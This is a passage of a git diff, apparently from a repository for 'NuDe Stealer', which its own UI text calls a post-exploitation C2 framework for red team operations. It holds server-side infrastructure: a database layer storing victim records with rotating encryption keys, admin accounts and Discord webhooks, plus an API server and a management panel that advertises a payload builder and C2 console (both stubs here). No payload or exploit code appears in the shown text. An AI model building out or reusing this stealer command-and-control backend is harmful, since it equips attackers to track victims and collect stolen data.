cursor.execute('SELECT * FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
|
||||
row = cursor.fetchone()
|
||||
if row:
|
||||
vic_data = dict(zip([column[0] for column in cursor.description], row))
|
||||
vic_data['vic_previous_ascon_key_list'] = json.loads(vic_data['vic_previous_ascon_key_list'])
|
||||
return vic_data
|
||||
return None
|
||||
|
||||
def insert_admin(DATABASE_CONNECTION, username, password_hash):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('''
|
||||
INSERT INTO administration (administrator_username, administrator_password_hash)
|
||||
VALUES (?, ?)
|
||||
''', (username, password_hash))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def get_admin(DATABASE_CONNECTION, username):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('SELECT * FROM administration WHERE administrator_username = ?', (username,))
|
||||
row = cursor.fetchone()
|
||||
if row:
|
||||
return dict(zip([column[0] for column in cursor.description], row))
|
||||
return None
|
||||
|
||||
def update_vic_key(DATABASE_CONNECTION, vic_uuid, new_key):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
vic = get_vic(DATABASE_CONNECTION, vic_uuid)
|
||||
if vic:
|
||||
previous_keys = vic['vic_previous_ascon_key_list']
|
||||
recent_key = vic['vic_recent_ascon_key_hex']
|
||||
if recent_key:
|
||||
previous_keys.append(recent_key)
|
||||
cursor.execute('''
|
||||
UPDATE vic_data
|
||||
SET vic_recent_ascon_key_hex = ?, vic_previous_ascon_key_list = ?, last_updated = ?
|
||||
WHERE vic_uuid = ?
|
||||
''', (new_key, json.dumps(previous_keys), datetime.utcnow().isoformat(), vic_uuid))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def update_admin_password(DATABASE_CONNECTION, username, new_password_hash):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('''
|
||||
UPDATE administration
|
||||
SET administrator_password_hash = ?
|
||||
WHERE administrator_username = ?
|
||||
''', (new_password_hash, username))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def delete_vic(DATABASE_CONNECTION, vic_uuid):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('DELETE FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def delete_admin(DATABASE_CONNECTION, username):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('DELETE FROM administration WHERE administrator_username = ?', (username,))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def insert_webhook(DATABASE_CONNECTION, webhook_url):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('''
|
||||
INSERT INTO discord_webhooks (webhook_url)
|
||||
VALUES (?)
|
||||
''', (webhook_url,))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def delete_webhook(DATABASE_CONNECTION, webhook_id):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('DELETE FROM discord_webhooks WHERE id = ?', (webhook_id,))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def get_all_webhooks(DATABASE_CONNECTION) -> list[dict]:
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('SELECT * FROM discord_webhooks')
|
||||
rows = cursor.fetchall()
|
||||
webhooks = [dict(zip([column[0] for column in cursor.description], row)) for row in rows]
|
||||
return webhooks
|
||||
42
serverside/helpers/config.py
Normal file
42
serverside/helpers/config.py
Normal file
@@ -0,0 +1,42 @@
|
||||
import configparser
|
||||
from pathlib import Path
|
||||
#from serverside.consts import BASE_DIR
|
||||
|
||||
BASE_DIR = Path(__file__).resolve().parent.parent.parent
|
||||
CONFIG_PATH = BASE_DIR / "configuration.ini"
|
||||
|
||||
_config = configparser.ConfigParser()
|
||||
_config.read(CONFIG_PATH)
|
||||
|
||||
def get(section: str, key: str, fallback=None):
|
||||
try:
|
||||
return _config.get(section, key)
|
||||
except (configparser.NoSectionError, configparser.NoOptionError):
|
||||
return fallback
|
||||
|
||||
def get_int(section: str, key: str, fallback=None):
|
||||
try:
|
||||
return _config.getint(section, key)
|
||||
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
|
||||
return fallback
|
||||
|
||||
def get_float(section: str, key: str, fallback=None):
|
||||
try:
|
||||
return _config.getfloat(section, key)
|
||||
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
|
||||
return fallback
|
||||
|
||||
def get_bool(section: str, key: str, fallback=None):
|
||||
try:
|
||||
return _config.getboolean(section, key)
|
||||
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
|
||||
return fallback
|
||||
|
||||
def sections():
|
||||
return _config.sections()
|
||||
|
||||
def options(section: str):
|
||||
try:
|
||||
return _config.options(section)
|
||||
except configparser.NoSectionError:
|
||||
return []
|
||||
25
serverside/helpers/logger.py
Normal file
25
serverside/helpers/logger.py
Normal file
@@ -0,0 +1,25 @@
|
||||
import logging
|
||||
from pathlib import Path
|
||||
from serverside.helpers.config import get
|
||||
#from serverside.consts import LOG_FILE
|
||||
|
||||
BASE_DIR = Path(__file__).resolve().parent.parent.parent
|
||||
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")
|
||||
|
||||
def setup_logger(name: str = "nudestealer") -> logging.Logger:
|
||||
logger = logging.getLogger(name)
|
||||
logger.setLevel(logging.DEBUG)
|
||||
|
||||
if not logger.handlers:
|
||||
file_handler = logging.FileHandler(LOG_FILE, encoding="utf-8")
|
||||
file_handler.setLevel(logging.DEBUG)
|
||||
|
||||
formatter = logging.Formatter(
|
||||
'%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s'
|
||||
)
|
||||
file_handler.setFormatter(formatter)
|
||||
logger.addHandler(file_handler)
|
||||
|
||||
logger.propagate = False
|
||||
|
||||
return logger
|
||||
33
serverside/helpers/middleware.py
Normal file
33
serverside/helpers/middleware.py
Normal file
@@ -0,0 +1,33 @@
|
||||
import time
|
||||
from starlette.middleware.base import BaseHTTPMiddleware
|
||||
from starlette.responses import JSONResponse
|
||||
|
||||
LIMIT = 60
|
||||
WINDOW = 60
|
||||
BLOCK_TIME = 5*60
|
||||
|
||||
ip_store = {}
|
||||
|
||||
class RateLimitMiddleware(BaseHTTPMiddleware):
|
||||
async def dispatch(self, request, call_next):
|
||||
ip = request.client.host
|
||||
now = time.time()
|
||||
entry = ip_store.get(ip, {"count": 0, "first_request": now, "blocked_until": None})
|
||||
|
||||
if entry["blocked_until"] and now < entry["blocked_until"]:
|
||||
return JSONResponse({"error": "Too many requests. Try again later."}, status_code=429)
|
||||
|
||||
if now - entry["first_request"] > WINDOW:
|
||||
entry["count"] = 0
|
||||
entry["first_request"] = now
|
||||
|
||||
entry["count"] += 1
|
||||
|
||||
if entry["count"] > LIMIT:
|
||||
entry["blocked_until"] = now + BLOCK_TIME
|
||||
ip_store[ip] = entry
|
||||
return JSONResponse({"error": "Rate limit exceeded. Blocked for 5 minutes."}, status_code=429)
|
||||
|
||||
ip_store[ip] = entry
|
||||
response = await call_next(request)
|
||||
return response
|
||||
28
serverside/http_s.py
Normal file
28
serverside/http_s.py
Normal file
@@ -0,0 +1,28 @@
|
||||
from uvicorn import Config, Server
|
||||
from starlette.applications import Starlette
|
||||
from starlette.routing import Route
|
||||
from serverside.helpers.config import get
|
||||
from serverside.helpers.middleware import RateLimitMiddleware
|
||||
from serverside.routes.version import version
|
||||
|
||||
async def start_server():
|
||||
app = Starlette(debug=get("general", "debug", fallback=False),
|
||||
routes=[
|
||||
Route("/version", version),
|
||||
Route("/api/version", version),
|
||||
Route("/api/v1/version", version),
|
||||
Route("/get_version", version)
|
||||
]
|
||||
)
|
||||
app.add_middleware(RateLimitMiddleware)
|
||||
|
||||
|
||||
config = Config(
|
||||
app=app,
|
||||
host=get("network", "host", fallback="127.0.0.1"),
|
||||
port=int(get("network", "port", fallback=56000)),
|
||||
log_level="debug" if get("general", "debug", fallback=False) else "info",
|
||||
)
|
||||
|
||||
server = Server(config)
|
||||
await server.serve()
|
||||
5
serverside/routes/version.py
Normal file
5
serverside/routes/version.py
Normal file
@@ -0,0 +1,5 @@
|
||||
from starlette.responses import JSONResponse
|
||||
from serverside.helpers.config import get
|
||||
|
||||
async def version(request):
|
||||
return JSONResponse({"api_version": get("general", "version", fallback="1.0.0")})
|
||||
32
serverside/util_s.py
Normal file
32
serverside/util_s.py
Normal file
@@ -0,0 +1,32 @@
|
||||
import asyncio
|
||||
from serverside.consts import logger, executor, running_tasks
|
||||
|
||||
async def run_in_thread(name, func, *args, **kwargs):
|
||||
loop = asyncio.get_event_loop()
|
||||
try:
|
||||
await loop.run_in_executor(executor, func, *args, **kwargs)
|
||||
except asyncio.CancelledError:
|
||||
logger.info(f"{name} task cancelled.")
|
||||
raise
|
||||
except Exception as e:
|
||||
logger.error(f"Error in {name}: {e}")
|
||||
|
||||
async def stop_task(name):
|
||||
task = running_tasks.get(name)
|
||||
if task:
|
||||
task.cancel()
|
||||
try:
|
||||
await task
|
||||
except asyncio.CancelledError:
|
||||
logger.info(f"{name} task stopped.")
|
||||
running_tasks.pop(name, None)
|
||||
except Exception as e:
|
||||
logger.error(f"Error stopping {name} task: {e}")
|
||||
|
||||
async def stop_all():
|
||||
logger.info("Stopping all services...")
|
||||
for _, task in running_tasks.items():
|
||||
task.cancel()
|
||||
await asyncio.gather(*running_tasks.values(), return_exceptions=True)
|
||||
running_tasks.clear()
|
||||
logger.info("All services stopped.")
|
||||
0
serverside/websocket_s.py
Normal file
0
serverside/websocket_s.py
Normal file
BIN
ui/assets/25519.gif
Normal file
BIN
ui/assets/25519.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 968 KiB |
BIN
ui/assets/25519.mp4
Normal file
BIN
ui/assets/25519.mp4
Normal file
Binary file not shown.
4
ui/ui_utils.py
Normal file
4
ui/ui_utils.py
Normal file
@@ -0,0 +1,4 @@
|
||||
from ui.dat import ServerData
|
||||
|
||||
def change_data(key, value):
|
||||
print(f"Changing {key} to {value}")
|
||||
131
ui/ui_ux.py
Normal file
131
ui/ui_ux.py
Normal file
@@ -0,0 +1,131 @@
|
||||
import threading
|
||||
import nicegui as ux
|
||||
from nicegui import ui
|
||||
from serverside.helpers.config import get
|
||||
from serverside.consts import __title__, running_tasks
|
||||
from ui.ui_utils import change_data
|
||||
|
||||
PRIMARY = "bg-[#1E1E1E] text-white"
|
||||
TITLE_SIZE = "text-[3rem] font-bold"
|
||||
SUBTITLE_SIZE = "text-xl italic"
|
||||
FOOTER_SIZE = "text-md italic"
|
||||
|
||||
def start_page():
|
||||
ui.label("Welcome to the NuDe Stealer & C2 Management Panel!").classes("text-2xl font-bold text-center")
|
||||
|
||||
with ui.row().classes("w-full items-center px-6 py-3 gap-8"):
|
||||
if 'server' in running_tasks:
|
||||
ui.button("Stop API").props("icon=build color=pink-5").classes("w-full")
|
||||
else:
|
||||
ui.button("Start API").props("icon=build color=pink-3").classes("w-full")
|
||||
|
||||
if 'ws_server' in running_tasks:
|
||||
ui.button("Stop WS").props("icon=build color=pink-5").classes("w-full")
|
||||
else:
|
||||
ui.button("Start WS").props("icon=build color=pink-3").classes("w-full")
|
||||
ui.button("Join Telegram").props("icon=code color=purple-11").classes("w-full")
|
||||
|
||||
ui.input(label="API port", placeholder="seegore", value=get("network", "port", fallback="80"), on_change=lambda e: change_data("api_port", e.value)).props("inline color=pink-3").classes("w-full")
|
||||
|
||||
with ui.card().classes("w-full bg-[#1E1E1E] text-white rounded-lg border-2 border-pink-300 p-4"):
|
||||
ui.label("NuDeStealer is an R&D post-exploitation C2 cross-platform framework written in a combination of V-lang and python, suitable for any red team operations you might have in mind.").classes("text-md")
|
||||
|
||||
ui.label("Changelog:").classes("text-2xl font-bold text-center")
|
||||
ui.label("23/02/2026 - ~0xschoolshooter").classes("text-lg text-center")
|
||||
with ui.element().classes("w-full overflow-y-auto rounded-lg border-2 border-pink-300 p-4"):
|
||||
ui.label("- Initial release of the NuDeStealer C2 Server UI.").classes("text-md")
|
||||
ui.label("- Features a lightweight and modern interface for managing your C2 server.").classes("text-md")
|
||||
ui.label("- Server-side encryption.").classes("text-md")
|
||||
ui.label("- UI/UX improvements.").classes("text-md")
|
||||
ui.label("- Features Build page for creating payload samples.").classes("text-md")
|
||||
|
||||
def builder_page():
|
||||
ui.label("Builder coming soon...").classes("text-2xl font-bold text-center")
|
||||
|
||||
def c2_page():
|
||||
ui.label("C2 Console coming soon...").classes("text-2xl font-bold text-center")
|
||||
|
||||
def acc_settings_page():
|
||||
ui.label("Account Settings coming soon...").classes("text-2xl font-bold text-center")
|
||||
|
||||
def credits_page():
|
||||
ui.label("Credits").classes("text-2xl font-bold text-center")
|
||||
ui.label("Software Solutions created by 0xschoolshooter").classes("text-lg text-center")
|
||||
|
||||
@ui.page("/")
|
||||
def landing_page():
|
||||
#ui.colors(primary="#1E1E1E")
|
||||
|
||||
ui.add_head_html('''
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet">
|
||||
''')
|
||||
ui.add_css("""
|
||||
body {
|
||||
font-family: "Montserrat", sans-serif;
|
||||
}
|
||||
""")
|
||||
|
||||
ui.add_css("""
|
||||
.fade-out {
|
||||
transition: opacity 1.5s ease;
|
||||
opacity: 0;
|
||||
}
|
||||
""")
|
||||
|
||||
with ui.row().classes(
|
||||
"w-full items-center px-6 py-3 gap-8"
|
||||
):
|
||||
ui.label(
|
||||
get("general", "app_name", fallback="NuDe Stealer C2")
|
||||
).classes(f"{TITLE_SIZE} {PRIMARY}")
|
||||
|
||||
with ui.tabs() as tabs:
|
||||
ui.tab("Start", icon="start")
|
||||
ui.tab("Builder", icon="fingerprint")
|
||||
ui.tab("C2 CONSOLE", icon="terminal")
|
||||
ui.tab("Account Settings", icon="settings")
|
||||
ui.tab("Credits", icon="coffee")
|
||||
|
||||
with ui.element().classes("w-full flex-1 px-3 py-3 flex justify-center"):
|
||||
with ui.element().classes(
|
||||
"w-full h-full p-4 rounded-2xl border-4 border-pink-300 shadow-lg flex flex-col"
|
||||
):
|
||||
with ui.tab_panels(tabs, value="Start").classes("w-full h-full bg-transparent flex-1"):
|
||||
with ui.tab_panel("Start"):
|
||||
start_page()
|
||||
with ui.tab_panel("Builder"):
|
||||
builder_page()
|
||||
with ui.tab_panel("C2 CONSOLE"):
|
||||
c2_page()
|
||||
with ui.tab_panel("Account Settings"):
|
||||
acc_settings_page()
|
||||
with ui.tab_panel("Credits"):
|
||||
credits_page()
|
||||
|
||||
|
||||
footer = ui.footer().classes(f"{PRIMARY} justify-center")
|
||||
with footer:
|
||||
ui.label("Software Solutions created by 0xschoolshooter").classes(FOOTER_SIZE)
|
||||
def fade_footer():
|
||||
footer.style("opacity: 0; transition: opacity 1.5s ease;")
|
||||
|
||||
ui.timer(5.0, fade_footer, once=True)
|
||||
|
||||
"""video_uri = Path(__file__).resolve().parent.joinpath("assets/25519.mp4").as_uri()
|
||||
v=ui.video(
|
||||
video_uri,
|
||||
autoplay=True,
|
||||
loop=True,
|
||||
muted=True,
|
||||
controls=False,
|
||||
).style(
|
||||
"position: fixed; top: 0; left: 0; width: 100%; height: 100%; "
|
||||
"object-fit: cover; z-index: -1;"
|
||||
)
|
||||
v.on("ended", lambda _: ui.open("/home"))"""
|
||||
|
||||
def start_ui():
|
||||
threading.Thread(target=start_ui_thread, daemon=True).start()
|
||||
|
||||
def start_ui_thread():
|
||||
ux.ui.run(title=__title__, reload=False, native=True, port=int(get("ui", "port", fallback=8080)), dark=True, show=False, window_size=(1050, 700))
|
||||
Reference in New Issue
Block a user